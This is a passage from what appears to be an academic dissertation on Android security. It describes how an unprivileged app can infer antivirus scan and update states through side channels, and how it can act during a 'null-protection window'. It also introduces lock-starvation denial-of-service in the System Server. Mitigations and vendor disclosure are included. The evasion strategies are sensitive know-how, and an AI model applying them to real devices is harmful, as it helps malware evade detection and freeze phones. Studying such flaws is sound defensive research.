of the neighboring spectrum (line 10). We determine two neighbor frequency spectrumas ”similar” by checking if the euclidean distance between these spectrum is smaller thana self-adapted threshold (line 11). Since the archive files produce property (2) (3), thedistance can be kept very small for an amount of time (several seconds, controlled bycausing the Delay-of-Scan hazard), which is demonstrated in the red part of Figure 3.4(b).Although the stime signal length caused by the Delay-of-Scan hazard varies on differenthardware devices, the repeated stable structure in the zipTree file ensures the periodicityof the low signal pattern regardless of hardware specifications. Note that for all themalScan inference measurements, we reach the desired results by using only the stimesignals from the CPU patterns.
3.3.4 Targeted Evasions
Based on the discovered hazards, various targeted attacks can be designed. One potentialattack scenario is based on repackaging [26–30] a benign carrier (RBC app) app, which
29
Algorithm 1 Pseudo-code for the algorithm to extract zipTree scanning pattern1: zipfilescaning← False2: window[window_size]← empty3: spectrogram[window_size][ ]← empty4: k← 0, mag_thresh← α5: dist_thresh← β, len_thresh← γ6: while obtain new value V do7: update_Window(window, V )8: if mean(window) < mag_thresh then9: spectrogram[k][]← FFT(window)
10: distance← Euclidea_Distance(spectrogram[k], spectrogram[k-1])11: if distance < dist_thresh and k > len_thresh then12: zipfilescaning← True13: else14: zipfilescaning← False15: erase(spectrogram)16: k← 017: end if18: else19: zipfilescaning← False20: erase(spectrogram)21: k← 022: end if23: end while
does not contain any malicious payload for root exploiting, or privacy stealing. Therefore,the RBC app itself will not be judged as malicious during the install-time scan. After theRBC app is deployed on the system, it can leverage the information leakage channel #1in Table 3.2 to check the name of the installed AVD and use the discovered hazard to inferits scanning status. Once it identifies a moment to its advantage (e.g., end of a malScan),malicious actions can be performed under the radar of the AVD’s scans. For example,based on the similar analysis result from Table 3.4, one can drop malicious payloads tothe folder that is not covered by the light monitoring malScan, load and execute themand then remove the evidence. Other remote evasions can also be designed. For instance,one can leverage remote vulnerability exploiting (e.g., code injection vulnerability inHTML5-based apps [46]) to hijack a running process’s control flow, and then conductthe similar evasions to prevent the injected payloads from being identified.
30
3.4 Hazards in Engine Update
For an AVD equipped with complete VDF and perfect hooking mechanism, we considerthe best moments to evade it is when its process(es) has not been activated yet. Our studyresult in Table 3.3 shows that all the tested AVD are listening on the BOOT_COMPLETE
intent to automatically launch itself when the system boots up. This close a potentialopportunity for evasions and indicates that AVD developers are aware of some similarhazards. However, after further analysis on the interaction between the AVD and theAndroid system, we identify a hazard in AVD’s engine update (engineUpdate) procedure,that unexpectedly nullifies any strong protections an AVD provides for the system. Herewe elaborate the AVD’s engineUpdate operation in Android and analyze the hazard.
3.4.1 Engine Update Behavior and Hazard
The AVD engineUpdate operation provides essential updates for AVD malScan operationimprovement, bug and vulnerability patching [35–39], and update-to-date protection [33].Since the technical details of AVD’s engineUpdate mechanism on Android have notbeen scrutinized before, to come up with a detailed full picture, we leverage our analysisframework and manual analysis based on runtime logs and related decompile Dalvikbytecode (the smali format). The engineUpdate operation is performed whenever an AVDdeveloper posts an updated version of APK on Google Play. It can be either triggered bythe user, or by the old AVD process automatically. The whole procedure is executed bythe Android system, namely the Package Manager Service (PMS), the Activity ManagerService (AMS), installd daemon and etc. Lots of evidence [33, 34] show that AVDsupdate fairly frequently. Indeed, during a two-week period in March of 2014, we initiallytested the process of engineUpdate operations using our analysis framework and noticeda high update ratio, 25 out of 30 tested AVD products have version updates from GooglePlay.
On the traditional PC platform, during the engine update procedure, an AVD willnot shut down the whole AVD program, but only replace part of the necessary modules(e.g., DLL files or kernel drivers). However, we identify that on the Android platform,the updating procedure is different. One potential problem of this specific procedure isthat the Android system will kill the AVD process(es) before the engineUpdate. Thisdesign is considered as valid and effective for most third party apps and help prevent
31
PMS Handles Intents by PMS.processPendingInstall(...)
Intall Pkg Checked
PMS.installPackageLI(...)
Install New Pkg Started
PMS.installNewPackageLI(...)
Replace Nonsystem Pkg Started
PMS.replaceNonSystemPackageLI(...)
Replace System Pkg Started
PMS.replaceSystemPackageLI(...)
New Pkg Processed
PMS.scanPackageLI(...)
Settings Updated
PMS.updateSettingsLI(...)
PMS Service Finished
PMS.sendBroadcast(...)
Old Package Deleted
PMS.deletePackageLI(...) App Process Killed
AMS.killApplicationWithAppId(...)
Msg Broadcasted
PMS.sendBroadcast(Package_REMOVED)
New Package Processed
Code Signatures Verified
PMS.verifySignaturesLP(...)
Settings Updated
PMS.sendBroadcast(Package_REPLACED)
Code Signatures Verified
Msg Broadcasted
PMS.sndPkgBrdcast(Pkge_Added)Msg Broadcasted
PMS.sendBroadcast(Package_ADDED)
Settings Updated
PMS.sendBroadcast(Package_REPLACED)
Old Package Removed
PMS.removePackageLI(...)
Msg Broadcasted
PMS.sndBrdcast(Pkge_Removed)
New Package Processed
PMS.verifySignaturesLP(...)
PMS.scanPackageLI(...)
PMS.scanPackageLI(...)
PMS.updateSettingsLI(...)
PMS.updateSettingsLI(...)
Figure 3.5: The constructed FSA of PMS for Android v4.4.4_r1
unintended app update [47], but this specific design lacks detail analysis on potentialsecurity implications. Especially when considering from the perspective of AVD realtimeprotection and detection, this APK update mechanism introduces a serious flaw, as itscomplicated procedure renders the system lacking of AVD’s protection for a period ofhigh risk, which is called null-protection window.
In order to confirm the hazard, we further verify the existence of the null-protection
window by checking the implementation logic in the Android AOSP code base. Therelevant high-level program logic flow is generalized and presented in Figure 3.5 as aFinite State Automaton (FSA). In the device, the PMS from the Android frameworklayer listens on update requests and performs the actual work along with several otherservices. For instance, the installd daemon and the AMS have to collaborate with the
32
0 2 4 6 8 10 12 14 16
Avira AVD An0yAVL
Avast aegislab
AVG AnGuanJia TrendMicro Kaspersky Dr.Web ESET Sec
CleanMaster McAfee
Symantec G DATA Lookout Panda Sophos Tencent Comodo Ikarus
F-‐Secure CMCInfoSec
Qihu360 NetQin
BitDefender TrustGo Bornaria
VIRUSfighter Webroot Zonner
Samsung Note2 Google Nexus4 (LG) Google Nexus 7 (1st Asus, Tablet) Goolge Nexus S (Samsung)
Figure 3.6: The Null-protection Window lengths (in seconds) for all 30 tested AVDs onfour Android devices
PMS component to finish different tasks in the engineUpdate procedure. Based onthe complicated design of app updates on Android, the system handles AVD versionupdates in several steps. After the new APK is downloaded and update is confirmed, thecurrent AVD process is killed, and the old code directory (/data/app) and some relevantdata files in the /data/data/[AVD_package]/∗ subdirectories are removed. Beforerelaunching the new process, the newly downloaded Android Package file (APK) of AVDis verified for the developer’s signature, and followed by Dalvik bytecode optimization(e.g., dex to odex), configuration file parsing (e.g., permission registration based onthe AndroidManifest.xml file) and etc. Note that the system never helps relaunch thepreviously killed process, which will expand the null-protection window. Due to thisunavoidable null-protection window caused by the specific design for package updates ofAndroid, the AVDs become vulnerable even under the strong protection assumptions I
and II.To leverage the exposed null-protection window, the adversary must infer if the
AVD is performing the engineUpdate operation. During our runtime testing and codeanalysis, we find that PMS will broadcast a series of intents with different action fields,including PACKAGE_REMOVED, PACKAGE_ADDED and PACKAGE_REPLACED
(red in Figure 3.5), so as to notify the other components to perform the corresponding
33
tasks and keep them updated with the current app updating status. However, thesebroadcasted intents unexpectedly reveal the updating status of AVD to any unprivilegedapps. So the malicious app can simply register these broadcast intents to get notified, andthen start malicious operations during the exposed null-protection window. Our analysisframework also helps us identify several other leakage channels (e.g., channel #1, #4and #14 in Table 3.2) that can infer this vulnerable status of AVD. This indicates simplyrestricting the receivers of the broadcasted intents cannot fully eliminate the hazard.
3.4.2 Null-protection Window Length
Next, we quantitatively measure the length of this null-protection window for variousAVDs and devices. We conduct four groups of experiments based on four types of realdevices, whose configurations are provided in Table 4.4 in Section 3.3. For each group,we try to test all the 30 AVDs’ engine update operations and record their null-protection
window lengths. For every AVD on each device, we test 10 times to obtain the mean valueand relevant confidence interval. Our result indicates that the window lengths are quitestable; for example, the representative Symantec AVD has an average window length of11.2 seconds, with a confidence interval [-0.13, 0.13] at the confidence level 95%. This isbecause of the routinely PMS updating logic and the atomic nature for most of the PMSmethod invocations during the execution. Due to space limits, we only show the meanvalues in Figure 3.6. Here, the x-axis is the average length of null-protection window
in seconds, and the y-axis represents each AVD. For each AVD, to clearly compare thewindow lengths for four devices, we draw four horizontal bars in different colors. Longerbars are partly covered by shorter bars. We can see that for all AVDs, the null-protection
window lengths in Samsung Note II and Google Nexus IV (LG) are the smallest, whereasNexus S (Samsung) has the largest window, from about 9.2-16.8 seconds. Note thatall the collected results are the theoretical lower bounds for the null-protection window,because in this test, our Dynamic Testor keeps sending launching events from adb toolduring each tested AVD updating session. This guarantees the automatic AVD relaunchright after the AVD is updated.
Since we can automate the process of AVDs’ relaunching, we think one might providea preventive design to relaunch the AVD by the updated new AVD code itself immediatelyafter the engineUpdate finishes. One interesting mitigation that we come up with is to adda receiver component in AVD to listen to the broadcasted action.PACKAGE_REPLACED
34
intent, which indicates the finishing of the engineUpdate. Then this receiver of theupdated new AVD engine is always triggered by this broadcasted intent right after theengineUpdate finishes. Within the registered receiver component, we then relaunch themain monitoring process automatically through Android APIs, startActivity(). Note thatthis mitigation does not solve the fundamental problem that the old AVD process iskilled and the vulnerable period is created, but it can only reduce the null-protection
window length to the theoretical lower bound (caused by the complicated updatingoperations carried out by the system). None of the 23 of the tested AVDs that registeredthe action.PACKAGE_REPLACED (in Table 3.3), are actually performing the preventivedesign for their own updates, but only use the registered receiver to start a service toscan other apps’ updating for malware detection purpose. We report our findings to allthe AVD vendors and propose this short-term mitigation to them. They responded to usimmediately and confirmed the hazard. Similar patches will be provided in their nextrelease based on our suggested mitigation. However, to completely eliminate the hazard,the PMS design should be enhanced. Since this hazard can be applicable to other appsthat require continuous monitoring properties (e.g., Mobile Device Manager (MDM) [48],IPS [44, 45] and etc.), we reported this hazard to Google and they confirmed our findingsand we are now working with them on possible feature enhancements for the relevantcomponents and services.
3.4.3 Model Checking the Vulnerable Logic
To automate the process of verifying the pervasiveness of the vulnerable temporal logic inAVDs’ engine update procedure, we leverage the model checking techniques, which havebeen applied widely [49–51] to perform system bugs and vulnerabilities examinationand temporal property checking for both mobile and PC platforms. Our model checkerfor the Android platform is similar to Chen et al. [51], in the sense that we both checkthe reachability of certain temporal logic in the code. However, our model checker,particularly targets the Dalvik bytecode of the PMS in Android for the engineUpdate’svulnerable temporal program logic.
Figure 3.7 shows the design of our model checking framework. The inputs arethe Android factory images collected from multiple vendors. After the preprocessingphase, we extract the relevant .odex file of the PMS components in the system.img.The odex code, namely the optimized Dalvik bytecode, can be run directly on the
35
Control Flow Graph
Androguard Analyzer
preprocess
Android Vendors Factory Images
PMS/AMS’s odex Files system.img
Model Checker
Finite-‐State Automatons
Specify a new FSA
Need a new FSA for this new PMS/AMS
Vulnerable Logic in AVD Engine Update confirmed !!!
Enter FSAs’ final state ?
Figure 3.7: The model checking framework
targeted Dalvik VM. We decompile the odex file into Dalvik bytecode and produce theCFGs for these components. From the constructed CFGs, we first identify the relevantexecution traces that correspond to the engineUpdate’s temporal logic. Then we constructFSAs to describe the relevant vulnerable program logic in PMS. Each edge in the FSAcorresponds to a critical method invocation that brings the system state to the nextstate. For instance, Figure 3.5 is a simplified representation of one of the FSAs for therelevant vulnerable code in the PMS of Android version 4.4.4_r1. The completion of thePMS.deletePackageLI() invocation brings the state from STATE{“Replace Non-systemPackage Started”} to the STATE{“Old Package Deleted”}. Therefore, when we perform amodel checking against the constructed CFG, whenever the system state STATE{“ReplaceNon-system Package Started”} encounters the deletePackageLI() method invocationin the PMS class file, our model checker will bring the current system state to theSTATE{“Old Package Deleted”}. It then expects the next critical method invocation,namely PMS.sndPkgBroadcast(). Our model checker works in a depth-first-searchmanner to check the system states along the constructed CFGs. Whenever a sequence ofmethod invocations is matched to a sequence of edges in the FSA that lead to the finalSTATE{“PMS Service Finished”}, a trace will be printed out for further verification.These traces help confirm the existence of the vulnerable logic for the AVD engineUpdate
operation of the PMS component. We actually use the “liveness property” of modelchecking for vulnerability verification. Note that here we are to verify if something“good” will eventually happen, and here “good” means the identification of the exactvulnerable temporal logic in the PMS. Whenever the newly constructed CFGs of the PMSdoes not match the specified FSAs, we will check into the relevant CFGs to manuallyconstruct a new FSA for the unmatched PMS version. Most of the time, it is because
36
the names of the methods are changed slightly, or a new wrapper is provided for an oldmethod. It turns out that we only need to construct four FSAs to check the temporallogic of all PMS versions of Android OSes. The relevant mapping from FSAs to Androidversions are given in Table 3.7. Due to the space limitation, we skipped some versions ifour model checker reports no critical implementation variances.
3.4.3.1 Confirm the Goolge Android official factory Images
To systematically check all Goolge Android factory images, we have downloaded allthe factory images [52], which contain images ranging from Android version v1.5_r4–v4.4.4_r1, totally 34 versions. Our model checker has verified that the same vulnerablelogic in PMS appears from all the Android OS versions from v1.5_r4 (April 2009) tovery recent v4.4.4_r1 (June 2014) for all Google official Android factory images.
3.4.3.2 Confirm the Vendor customized stock Images
Due to the Android vendors’ fragmentation problem [53, 54], we also download imagesfrom HTC and Samsung [55, 56] and conduct analysis on recently released stock imagesfrom multiple vendors, including Samsung (S4, S3 and S2 with Android v4.4.2, v4.0.4and v2.3.4), HTC (One Mini, M7 with Android v4.4.2, v4.3), Sony (Xperia Z2 andXperia M2 with Android v4.4 and v4.3) and LG (LGD958 Android v4.2.2). Our analysisalso confirms that the same vulnerable PMS logic appears in all of them. It is becausemost of the customized stock images directly reuse most of the core design logic inmission critical components (e.g., PMS) from Google AOSP codebase.
Our finding demonstrates that some seemingly benign, but complicated updates in thesystem can cause surprising hazards to a stable system, which is similar to the takeawaymessage presented by Xing et al. [7]. But the newly discovered flaw resides in thePackageManager Service for AVDs’ engineUpdate procedure, which can unexpectedlynullify any security protection from AVDs.
37
Table 3.7: Android OS versions and relevant Models for PMS
OS versions Release dates Constructed FSAsAndroid v4.4.4_r2 07 July 2014 FSA of v4.4.4_r1Android v4.4.4 19 June 2014 FSA of v4.4.4_r1Android v4.4.3 02 June 2014 FSA of v4.4.4_r1Android v4.4.2_r1 09 December 2013 FSA of v4.4.4_r1Android v4.4.1_r1 05 December 2013 FSA of v4.4.4_r1Android v4.4_r1 31 October 2013 FSA of v4.4.4_r1Android v4.3.1_r1 03 October 2013 FSA of v4.4.4_r1Android v4.3_r2.1 14 July 2013 FSA ofv4.4.4_r1Android v4.3_r1 04 June 2013 FSA of v4.4.4_r1Android v4.2.2_r1 11 February 2013 FSA of v4.4.4_r1Android v4.2.1_r1.2 27 November 2012 FSA of v4.4.4_r1Android v4.2_r1 13 November 2012 FSA of v4.4.4_r1Android v4.1.2_r1 22 August 2012 FSA of v4.1.2_r1Android v4.1.1_r1 08 July 2012 FSA of v4.1.2_r1Android v4.0.4_r2.1 29 March 2012 FSA of v4.1.2_r1Android v4.0.4_r1.2 15 March 2012 FSA of v4.1.2_r1Android v4.0.3_r1 16 December 2011 FSA of v4.1.2_r1Android v4.0.2_r1 28 November 2011 FSA of v4.1.2_r1Android v4.0.1_r1 21 October 2011 FSA of v4.1.2_r1Android v2.3.7_r1 11 September 2011 FSA of v2.3.7_r1Android v2.3.6_r1 07 August 2011 FSA of v2.3.7_r1Android v2.3.5_r1 24 July 2011 FSA of v2.3.7_r1Android v2.3.4_r1 18 April 2011 FSA of v2.3.7_r1Android v2.3.3_r1 22 February 2011 FSA of v2.3.7_r1Android v2.3.2_r1 10 January 2010 FSA of v2.3.7_r1Android v2.3.1_r1 21 December 2010 FSA of v2.3.7_r1Android v2.3_r1 26 October 2010 FSA of v2.3.7_r1Android v2.2.2_r1 20 September 2010 FSA of v2.3.7_r1Android v2.2.1_r1 18 July 2010 FSA of v2.3.7_r1Android v2.2_r1.1 29 June 2010 FSA of v2.3.7_r1Android v2.1_r2 27 January 2010 FSA of v2.1_r2Android v2.0_r1 14 October 2009 FSA of v2.1_r2Android v1.6_r2 15 September 2009 FSA of v2.1_r2Android v1.5_r4 30 April 2009 FSA of v2.1_r2
38
3.5 Discussions
3.5.1 Mitigations
One proposed prevention for the discovered information leakage channels in Table 3.2is based on more fine-grained mandatory access control. The Android system canleverage the existing SEAndroid [15] mechanism to restrict the public from accessingthe channels under certain usage scenario with high security requirements. One specificpolicy refinement is to assign a new subject domain and relevant allow rules in theSEAndroid [15] policy database and then label a while-listed/authorized apps/serviceswith the new subject domain. Consequently, only controlled/authorized accesses todifferent files under the /proc/∗ (sub)folders are granted. However, this requires asolid understanding on different usage scenarios of various programs and the underlyingAndroid system design specifics, so that the proposed mitigation will not block normallegitimate usability. One can model the relevant attacks in the mobile system intoattack graph surface [57] and then enforce policy to block different leakage channelsaccordingly.
We propose another specific mitigation for the hazards in heavy sweeping malScan.For example, the underlying system may provide only the general usage statistics ofAVDs (or other mission critical apps) by normalizing or delaying the reporting of systemresource usage statistics (e.g., the CPU, memory and network) in relevant public channelsin Table 3.2. Consequently, it is harder for an adversary to fingerprint an app’s exactrunning status on the fly. The other way to reduce the risk is to introduce randomnessinto pre-scheduled scans. Instead of setting up an exact time, the user may specify atime window, in which an AVD can choose a random time to start scanning each day.A long-term mitigation is to improve the malScan operation and make scan operationscontinuous and comprehensive at the same time. According to our discussion with AVDvendors, this seems to be a future research topic, since malScan with both propertiesrequires lots of testing and optimization to be finally deployed on the resource limitedmobile devices.
In addition to the designed short-term mitigations to AVD vendors in Section 3.4.2for the engineUpdate hazard, we discuss with the Google security team that the systemdesigners will have to re-architect the PMS component to close or reduce the null-
protection window in the app-updating procedure. One suggestion to Google is to delete
39
the old APK only after the new process has been reactivated, but this might cause conflictson app’s package names or other app management tasks (e.g., the install verificationprocess). Since lots of apps have continuous monitoring requirements (e.g., MDMs, IPSs,and etc.), Google has to find a way to resolve those conflicts for this feature enhancementin PMS.
3.5.2 Other Hazards
In our study, we find the other two potential hazards, which indicate that the discoveredhazards are just a tip of the iceberg. So we discuss the other two types of hazards whichcan enable the evasions of current Android AVDs.
3.5.2.1 Cloud based malScan Hazard
During the analysis, we sense a trend of adding the cloud-based scanning strategy formobile platforms, including AVD # 1, 2, 3, 23 and 26. Cloud-based scanning fits resourcelimited mobile devices, as it can offload the heavy computation to a remote server bysending out the collected information. However, since the per UID network usagestatistics can be directly accessed through the discovered channel # 2 in Table 3.2 as well,an adversary can plan evasions and attacks against AVDs using the similar fingerprintingstrategy described in the heavy sweeping malScan hazard.
3.5.2.2 Virus definition file (VDF) update Hazard
All the AVDs store their VDF and other files/data in the subdirectories, /data/data/[AVD_package]/∗, which are strictly set to be world-unreadable and enforced by the Linuxkernel in Android. Our further analysis based on Environment Information Collector
shows that this solid design of app data privacy protection is not enough for VDFs’deployment, as an adversary only needs to know the file size or other meta-data in-formation of relevant files (e.g., created/updated time) in the subdirectory to infer theupdating status of the VDF or other sensitive files (e.g., scan result caching file). Wedesign a zero-permission app to call the stat() system call through JNI to directly probethe meta-data information of all these files in an AVD’s data folder. The whole pathparameter that leads to different files (e.g., VDF) can be first collected via offline analysis.Knowing this status information, lots of potential targeted evasions can be designed. Forinstance, we find that some AVDs (e.g., # 21) perform a fresh heavy sweeping malScan
40
right after the VDF is updated, so the adversary can drop or decrypt the newly obfuscatedknown malicious payloads a few minutes after the VDF has been updated, so as to makeits fresh scan useless.
3.6 Summary
Based on an analysis framework, we conduct an empirical study of top 30 AVDs on thecurrent Android platform. We discovered several serious hazards related to AVD malwarescan mechanism, engine update procedure and etc. We then develop techniques tomeasure the feasibility of exploiting the hazards in malScan and confirmed the vulnerableengineUpdate program logic in the Android system through static analysis and modelchecking techniques. We reported the discovered vulnerabilities and hazards to AVDvendors, all of them have confirmed our findings and will take some of the mitigationssuggestions in their latest versions. We also discuss the vulnerable design in the PMSthat causing the null-protection window to the Google security team. They also admit theproblem and will consider feature enhancement on the PMS component.
As the malware and the Android system keep evolving, more secure and preventivedesign strategies for mission critical apps (e.g., AVDs, IPS [44, 45], MDM [48] and etc.)should be adopted to reduce the chance of getting unexpected failures and loopholes.
41
Chapter 4 |Towards Characterizing, Detect-ing and Mitigating Android StrokeVulnerability in the Android Sys-tem Server
4.1 Introduction
Android is an open-source OS, based on a modified Linux kernel tailored for mobiledevices. Android not only has a significant portion of the current mobile market [58], buthas been widely used in mission critical scenarios (e.g., used for medical devices [59–61],aircraft navigation [62–64], Android-auto navigation [65] and satellite project [66]). Oneof the fundamental reasons that Android is so popular among users and application (app)developers, is the unique design of its middleware. This middleware has a set of systemservices that abstract away the low-level OS details and provide the easily-accessible, richapplication programming interfaces (APIs) to support app development for the Androideco-system.
No app can run without the System Server (SS), a special multi-threaded processof the Android middleware, which contains most of the Java-based system services. TheSS threads provide the essential services to Android apps based on Binder IPC/RPC.First, the ActivityManager manages the life cycle of Android app components, so itmaintains the complete running context for each app. Second, the PackageManager
manages the (un)installation of app packages and parses the apps’ manifest files, as well as
42
registering app permissions and other static meta data. Third, maintaining rich applicationcontext information, the SS becomes a critical building block to support the design ofaccess control mechanisms for app layer (e.g., Android default permission1checks [14],ASM [67], SEAndroid [15] userspace hooks).
When the ActivityManager is frozen, no app component can be started. When theWindowManager is frozen, no app can correctly present its UI onto the screen. In thissense, the SS can be thought of as the core of Android. Without these functionalitiesfrom various system services, it is obvious that the Android system cannot run any app ina way acceptable to the user. When part of the SS is frozen, the smartphone is (partially)broken and becomes unreliable to support any mission critical tasks.
Considering the importance of the SS, one would expect its code to be meticulouslydeveloped and thoroughly tested so that Android is robust to failures and resilient toattacks. In this sense, it is expected that an attacker should take a great deal of effort tofreeze the SS.
In this study, we examine the attack-resilience of the SS from the angle of denial-of-service (DoS). While researchers have discovered malware samples [68] and vulnerabili-ties [69] that cause DoS in the SS, the attack-resilience of the SS has yet to be analyzedsystematically. Due to the complicated design of the SS and the easily-accessible natureof its system services, we conjecture that the SS could face various DoS attacks. Consid-ering the important role the SS plays in Android, the DoS problems, if existing, couldcause various damages to the system (e.g., single-point-of-failure).
By scrutinizing the design of the SS through source code analysis, we find thefollowing common design traits in the Java-based system services. First, most of theseservices use basic Java concurrency control mechanisms (i.e., the Java synchronized
block) to coordinate multiple threads (e.g., binder threads in the SS). Second, mostof these services only use a few monitor locks (very coarse grained) in their servicesto protect many critical sections or synchronized methods. Note that most of thesemethods or critical sections have different functionalities that may access different globalvariables. This coarse-grained concurrency control design provides a chance to causevulnerable scenarios that lead to DoS attacks on the SS. We further characterize theexploiting requirements of these vulnerable scenarios and build a tool to help cost-effectively identify relevant vulnerabilities. With the help of the tool, we identified four
1Permissions that grant access to low-level capabilities (e.g., access camera driver or sdcard) aremapped to Linux group identifiers (GIDs), which is not checked in the SS
43
highly exploitable and previously unknown vulnerabilities in two critical services of theSS, namely the ActivityManager and WindowManager services within a week (about 2hrs/day).
When exploiting these vulnerabilities, the relevant system services are frozen, fol-lowed by a soft-reboot of the Android middleware layer (the SS and zygote are reinitial-ized). This indicates that a single-point-of failure exist. We name the newly discoveredvulnerabilities as Android Stroke Vulnerability (ASV). We further design several proof-of-concept (PoC) attacks by exploiting these ASVs. The results show that one couldwrite a simple loop to call normal Android APIs to easily craft several exploits for theASVs, which causes various damages in Android. For instance, they can turn a phoneinto continuous freezing/rebooting loops at mission critical moments (e.g., navigating,patient status monitoring), prevent the removal of malware and roll back the patching ofapp vulnerabilities, etc. As these ASVs are easily exploitable and could cause variousconsequences, the Google security team has made a quick response and confirmed ourfindings, and we also exploit some defense solutions.
4.2 System Server: the Heart of Android
4.2.1 Android Overview
Android is a mobile operating system built on the top of the Linux OS. When it boots up,its bootloader first performs low-level system initialization and loads the Linux kernel.The kernel further initializes the drivers and the file system, and then starts the kerneldaemons and the first userspace process /init. The /init then starts the Android specificZygote process, which is a warm-up template process that preloads all the relevantlibraries, classes and resources for all the virtual machine (VM) based processes thatstart later. After that, Zygote starts the System Server (SS) process, which contains mostcritical system services in Android. Finally, various apps are started to serve users.
An Android app often consists of four types of components, namely, the activity (userinterface), service (background task), the broadcast receiver (mailbox for broadcast),and the content provider (local database server). The components of different appscommunicate with each other via the Android specific Binder interprocess communication(IPC) by exchanging intent messages. Apps also calls APIs to perform remote procedurecalls (RPC) to the system services via the Binder mechanism, the SS process maintains
44
a binder thread pool to handle multiple RPC-based requests simultaneously.2 Differentfrom apps, the SS does not contain any user interface. Note that only after the SS startssuch critical services (Java-based threads) as activitymanager, windowmanager and etc.,3
Android can serve requests from apps. The activitymanager manages the running statusand life-cycle of all apps. When a user tries to launch an app for the first time, the APIstub, startActivity() is invoked, which creates an RPC into the method implementationwithin the ActivityManagerService (AMS) class and relevant app records are stored in aProcessRecord list in AMS for references.
Since Android highly depends on the system services in the SS to fulfill varioustasks, the SS acts as the core of Android. When an app is going to send a broadcast torelevant receivers, the activitymanager queries the packagemanager for all the staticallyregistered receivers, so that the broadcasts can get both dynamically and staticallyregistered receivers. Because the SS maintains most running contexts of apps, theaccess control mechanisms on Android also rely on it. By default, Android enforcespart of its permission checking via the SS. It grants permissions to apps through thepackagemanager and performs permission validations through activitymanager and otherservices [14]. Moreover, a series of enhanced mandatory access control mechanisms(e.g., ASM [67], SEAndroid [15] and XManDroid [11]) also rely on the SS to performtheir userspace enforcements. However, the security and reliability of the SS itself hasnot been scrutinized yet.
4.2.2 System Server Concurrency Control
System services in the SS are usually started as Java threads, and they help maintain thesystem-wide states for various aspects (e.g., app life-cyles, window states, and registeredapp permissions). To guarantee correctness of the program logic (e.g., providing syn-chronized access to global variables), the SS enforces concurrency control (CC) amongthreads (e.g., the binder threads, service threads and etc.) that handle lots of concurrentIPC requests. Since no detailed study has been done on its CC design, we analyze itssource code to understand its mechanism.
2Some system services (e.g., MediaService) are designed to join the binder thread pool and handles theRPC directly
3After Android 4.0, SurfaceFlinger becomes a native service, which starts right before the Zygote andruns independently from other services in the SS. This design renders the boot animation much faster, as itis responsible for displaying the image surfaces
45
Table 4.1: Statistics of synchronized critical sections with watchdog monitored locks indifferent system services
System Services Checked by Watchdog Monitored CSWatchdog (Android Versions Ranges) Monitor Lock Ratio (v5.1)
ActivityManagerService (v1.5-v5.1) AMS.this 279/345=81%WindowManagerService (v1.5-v5.1) mWindowMap 185/198=94%
PowerManagerService (v1.5-v5.1) mlock object 49/60=82%MountService (v4.0-v5.1) MountService 41/41=100%
InputManagerService (v4.0-v5.1) mInputFilterLock 4/26=16%NetwkManagementService (v4.0-v5.1) mDaemonLock 4/7=57%
PackageManagerService (v4.4-v5.1) mPackages 171/243=70%MediaRouterService (v5.0-v5.1) mlock object 13/13=100%
MediaSessionService (v5.0-v5.1) mlock object 21/21=100%MediaProjManagerService (v5.0-v5.1) mlock object 16/16=100%
# of monitored CSs/total # of CSs The total ratio 783/970=80%
Synchronized Code Blocks in the SS. The most frequently used CC mechanism inAndroid SS is based on the synchronized block mechanism from the Java library, namely,the java.util.concurrent. synchronized(monitorlock){...access/modify(data)...} isan example of a synchronized block. This built-in locking mechanism, namely thesynchronized block (for critical sections) is heavily used in the SS. Monitor locks areacquired by a thread before it enters an explicitly-programmed synchronized block (eachsuch code block conducts certain operations on certain global variables). The Javasynchronized block mechanism holds two properties: 1) only one thread can executethe block of code at each time; 2) each thread entering a synchronized block of codesees the effects of all previous modifications guarded by the same lock. This type ofsynchronization is necessary for mutually exclusive access to global variables whenhandling multiple threads’ concurrent requests. For example, the getPackageUid methodfrom PackageManagerService.class (PMS) returns the UID based on a given app’spackage name and PMS.removePackageLI removes an app package. Although the twomethods run two different synchronized blocks, they operate on the same mPackage globalvariable and require the same lock, namely the mPackage lock. Hence, these blocks aremutual exclusive, though they could be called by different apps/services simultaneously(via binder threads in the SS). In Android 5.0.0, there are 1917 synchronized codeblocks in all these system services (about 20 services in total), which indicates a populardevelopment style throughout these system services.
46
Lock-Suffixed Method. Another observation on the current Android SS design isthat lots of mission critical methods are suffixed with “Locked” and other key strings (e.g.,“LP”, “LI”, “Lw” and etc.). After further analysis, we find that these suffixes are used to re-mind system developers that the corresponding methods can only be invoked from a threadholding a particular lock to guarantee the atomicity of corresponding computations. Forinstance, the processStartTimedOutLocked() method in the ActivityManagerService.class
is such a method with the “Locked” suffix. We find that this method is only invoked whenbeing wrapped in synchronized(AMS){..processStartTimedOutLocked()..} structure.For any thread to call this method, it must first hold the monitor lock, (i.e., AMS.this
object), which exclusively prevents other threads from executing the critical sectionsguarded by the AMS.this lock. The similar design pattern (i.e., syntax reminder) is usedall over other system services.
We confirm these observations by analyzing the primary monitor lock usages in mostcritical system services (the result is listed in Table 4.5 in the Appendix). These arevery common design patterns used in Java to neatly fulfill multi-threaded concurrencycontrol requirements. However, without a more careful design, it can potentially causeunexpected serious hazards in Android.
4.2.3 System Server Hazard Overview
Android developers use the common design patterns (e.g., synchronized locks) in Java toneatly fulfill multi-threaded concurrency control requirements. However, without a morecareful design, it might cause unexpected consequences in systems.
Denial-of-Service. The column 3 in Table 4.5 compares the critical sections guardedthe primary lock with all the critical sections in each system service, which indicatesthe current CC design is easy to raise a potential Denial-of-Service (DoS) problem.Because within each service only one primary monitor lock is used to guard a largeportion (783/970, 80%) of the all the critical sections. Since a very small portion ofthe critical sections (CSs) are protected by other locks, which is not monitored by thewatchdog thread, once one of these monitor locks is held by a thread, a large part ofthe CSs guarded by the same primary lock cannot be entered. Since the SS providesalmost all critical services to the whole Android system, any app can easily requestthese system services through the Binder IPC (e.g., call the Android APIs). Theseclient-side requests can eventually trigger the executions on some of the CSs (i.e.,
47
0 1 2 3 4 5 60
1
2
3
4
5
6
7
8
9
10
11
Num
ber
of w
atch
dog
mon
itore
d th
read
s
Android OS version number
Figure 4.1: The increasing trend of watchdog monitored system services of Androidversions
synchronized blocks) or atomic critical methods in the SS. Since the inputs for theseAPIs are provided by third party apps, a malicious app may invoke a CSs/method withhigh computational complexity to cause a long holding of the relevant service lock,effectively starving the targeted system service. For instance, when the malicious appinvokes the registerReceiver API stub, the corresponding CSs/methods in the serverside implementation (i.e., AMS.registerReceiver()) is executed. During its execution, the
AMS.this lock will be held, which prevents other threads of the SS from entering any other
CSs in the AMS. During the starvation, the targeted system services become irresponsive,
so we call this consequence ss_freezing.
